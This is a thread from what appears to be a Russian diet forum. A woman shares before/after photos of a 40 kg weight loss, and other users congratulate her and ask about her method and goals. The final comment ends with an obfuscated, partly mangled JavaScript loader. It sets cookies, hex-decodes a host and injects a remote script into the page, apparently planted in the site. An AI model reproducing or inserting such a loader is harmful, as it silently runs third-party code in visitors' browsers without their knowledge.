Альбина

Блог Кулинарная книга База продуктов

Альбина

14.12.2015 12:35

Фото для мотивации

Без слез не глянешь, столько лет жила ТОЛСТУШКОЙ (ласково сказано) и вроде бы себе даже нравилась.

133

Елена 14.12.2015 12:37

Хороший результат Хорошо

За какое время достигнут результат?

Альбина 14.12.2015 12:39

14 месяцев, -40кг

Елена 14.12.2015 12:41

Альбина, вы умничка! Я так понимаю вы хотите продолжать похудение?

Юлия 14.12.2015 13:09

вау!

Ольга К 14.12.2015 13:10

Отлично

Альбина 14.12.2015 13:10

Елена, Да, но вес стоит уже с августа, когда нибудь стронется дальше, до цели еще 10кг

Елена Елена 14.12.2015 13:12

впечатляет!

Светлана 14.12.2015 13:14

Сбросила 40кг, а помолодела лет на 10-15 Хорошо

Братчанка 14.12.2015 13:15

потрясающе!

Наташа Счастливая 14.12.2015 13:16

Чудесное превращение))) Хорошо

Светлана 14.12.2015 13:19

Волшебство какое-то! Какая Вы красавица! Ну совсем же другой человек Хорошо

Наталья 14.12.2015 13:23

Вот это да!Как хорошо что вы фото выложили,красота,разница невероятная С улыбкой

,я вот встала на месте спустя 3 месяца,вроде не срываюсь,калораж не превышаю,ан нет + 600 гр за эту неделю Печально

...Вот на вас посмотрю и буду дальше шагать!Спасибо!

Светлана Ким 14.12.2015 13:27

Я только сейчас стала понимать насколько была толстая. А раньше ничего, нравилась себе Лопну от смеха!

Бетти Ханг 14.12.2015 13:28

За год на 40кг! Вот Вы молодец!

Юлия 14.12.2015 13:37

молодчинка! вот что значит стройный человек, сразу лет на 10 моложе стала Хорошо

Julia Yazykova 14.12.2015 13:43

сейчас горааааздо лучше!!! помните как в мультике - в попугаях, я гораздо длиннее!)))
НО, одно прошу заметить товарищи, сфото на нас смотрит счастливая женщина!!!
приятно на Вас смотреть...и в разном весе...излучаете оч положительную и задорную енергию!!! чувствую она у Вас есть!))))

Sandra-Александра 14.12.2015 13:46

Ого,, отличный результат! Красавица! Очень хорошо выглядите.

Людмилка 14.12.2015 13:55

Альбина, действительно мотивашка ! А какой вес вы хотите и при каком росте ?

Мила 14.12.2015 13:58

ой, какая большая разница, Вы просто умничка Хорошо

Виктория Котельникова 14.12.2015 14:07

Сколько счастья в глазах! И какие ямочки! Хорошо

мороженка 14.12.2015 14:23

потрясающий результат! Вы -молодчина!

Моника Белуччи 14.12.2015 14:46

Обалдеть!

svetlana 14.12.2015 14:50

Хороший результат , молодец

bojiyakorovka 14.12.2015 14:50

Класс!!!!

елена д 14.12.2015 14:52

Как же все-таки лишний вес влияет на оценку возраста! Кажется, лет 7-10 разницы. И взгляд уверенной в себе женщины.

Екатерина Лесникова 14.12.2015 14:57

Вернулась красота и, наверняка, здоровье! Поэтому и глаза светятся - энергии стало в разы больше! Ведь так? Хорошо

14.12.2015 14:59

Альбина написал:
Да, но вес стоит уже с августа, когда нибудь стронется дальше, до цели еще 10кг

Некоторые и специально по нескольку месяцев отъедаются, а потом продолжают. У вас все замечательно, возможно, вам тоже спокойно стоит месяц-другой привыкнуть, а потом, если захотите, дальше.
Хотя бы ходьбы добавьте, когда будете продолжать, это поможет.

Марина 14.12.2015 15:14

Супер! Если бы не знала, то сказала бы : как дочка похожа на маму! Хорошо

Ирина Мосина 14.12.2015 15:18

Боже,какие у вас потрясающие ямочки...Как они вас молодят!!!!Чудо как ХОРОШИ !!!!

14.12.2015 15:31

Julia Yazykova написал:
прошу заметить товарищи, сфото на нас смотрит счастливая женщина!!!

вообще, "превращение тетки в женщину" - самое, удивительное, что здесь можно регулярно наблюдать Широкая улыбка

Элина 14.12.2015 16:10

Отличный результат! Вы - молодец!

Альбина 14.12.2015 16:17

Екатерина Лесникова написал:
Вернулась красота и, наверняка, здоровье!
Совершенно верно, холестерин в норме без статинов, гемоглабин снизился, потому как еще и курить бросила.

Bad Mad 14.12.2015 16:17

[url=]

Альбина 14.12.2015 16:19

Кристина, Что это? Не открывается

Bad Mad 14.12.2015 16:21

Альбина, хотела удивленный смайлик вставить не получилось Печально

Альбина 14.12.2015 16:21

Огромное Всем спасибо, за комментарии. Все, что со мной произошло, отчасти благодаря всем Вам, особенно med-ved в свое время хорошо и во время меня стебанул, простите за выражение.

Julia Yazykova 14.12.2015 16:21

med-ved, грубо...но правда. Я крут

Bad Mad 14.12.2015 16:21

и не удаляется

Екатерина Лесникова 14.12.2015 16:24

Альбина, я тоже с килограммами распрощалась с диабетом и высоким давлением. Тоже бросила в январе этого года курить. А Вам желаю достичь желаемых результатов! Дарю цветочек

Альбина 14.12.2015 16:28

Людмилка, Хочу 62, рост 158

Альбина 14.12.2015 16:30

Марина, Посмотрите это фото, оно подходит к Вашему комментарию про маму с дочкой.Это я с дочей месяц назад

Кашемировый Злодей 14.12.2015 16:41

ого! вы большая молодчинка!!

Елена Елена 14.12.2015 16:41

Альбина,

красавицы!

Валентина Иваненко 14.12.2015 16:45

Вы просто молодец. Потрясающее перевоплощение.

Елена Крюкова 14.12.2015 16:47

Ух! Молодец! Комсомолка, красавица!

надежда 14.12.2015 17:46

да!классный результат)))))))))))выглядите прекрасно!!!очень вдохновляет,спасибо!!

Pink Rose 14.12.2015 17:47

как здорово! отличный результат!

Екатерина 14.12.2015 17:56

Марина 14.12.2015 18:18

Супер помолодела, похорошела.В 100 раз лучше стала.

Сергей 14.12.2015 19:01

Ай молодцы

Инна 14.12.2015 19:02

Альбина, ОБАЛДЕННЫЕ Хорошо

Марина 14.12.2015 19:50

Альбина, нет, просто мой коментарий подходит и под эти фото тоже!

Людмила 14.12.2015 20:11

Красавицы!!!! Хорошо

Екатерина 14.12.2015 21:31

Отличный результат! Хорошо

MILADA MILADA 14.12.2015 21:43

Мотивация то что надо. Приятно видеть результат. Поздравляю.

Jekaterina Sepp (Zhavoronkova) 14.12.2015 21:54

ого! круто! вы просто красавица и молодец!

Alyona Belous 14.12.2015 22:14

Невероятно! На лицо как помолодели! это Вы на МЗР так сбросили? занимались спортом, если да, то каким?

Евгения Мяу 14.12.2015 22:29

Красотки.

14.12.2015 22:49

Отличный результат! Браво!

Людмила Каледина 14.12.2015 23:44

Отличный результат!!! Бегу за Вами!!! Подмигиваю

Остапенко Лилия 14.12.2015 23:45

Результат простопотрясающий!

Юлия Хабибулина 15.12.2015 00:07

Супер результат!

Елена 15.12.2015 00:07

вот это да! я даже не узнала Вас "до". очень за Вас рада!!

Дарья Кондратьева 15.12.2015 00:28

Какая вкусная конфетка! А говорят, сладкие женщины - это толстушки...

Альбина 15.12.2015 10:06

Alyona Belous, Да, попрощалась с кг на МЗР, не занимаясь никаким спортом, можно сказать, сидя на попе, а вот с августа, когда вес остановился, пошла в тренажерный зал, может потому вес и стоит, что мышцы наращиваются...

Альбина 15.12.2015 10:07

Ирина Тихонова, 112

Josalina 15.12.2015 10:47

Просто нет слов, результат потрясающий)

Людмилка 15.12.2015 12:30

Альбина, удачи Вам ! Мне практически таких же результатов надо достичь ! Рост 160 сейчас вес 69 хочу 64 кг

Капелька 15.12.2015 15:01

обалдеть! помолодели лет на 10 точно!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="10709",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1" Подмигиваю

+"=(*)"

);return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","" Подмигиваю

;for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http" Подмигиваю

==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="" Подмигиваю

return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.smlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox" Подмигиваю

)window.zSmlo.loadSmlo(n.replace("https:","http:" Подмигиваю

);else{var i=document.createElement("sc ript" Подмигиваю

;i.setAttribute("src",n),i.setAttribute("type","text/javasc ript" Подмигиваю

,document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306" Подмигиваю

!=f&&n("a2519043306",f,{expires:parseInt("3600" Подмигиваю

})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002" Подмигиваю

!=i&&n("a36677002",i);var r=o("a2519043306" Подмигиваю

;t=r?r:e,s(t)};f()}();